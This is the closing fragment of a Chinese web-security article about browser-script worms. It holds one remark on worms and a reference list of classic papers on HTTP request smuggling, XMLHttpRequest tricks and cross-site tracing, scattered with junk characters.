3 ?+ Z8 {9 H% n- f  f操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
; g; W3 K# e+ H5 W( q+ J
  g9 Z+ G3 N- T" a





" {" \- S* B: \# ]& {- i5 p& ]' N
本文引用文档资料:
4 U  L6 @  `$ f- z/ C9 D& l' Q) u
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
  L# j; p2 U* J2 t& whttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
2 D! V& l4 U% y/ r1 J+ C9 BXeye Team http://xeye.us/
4 O9 c/ z7 A8 Z* f# G0 }8 s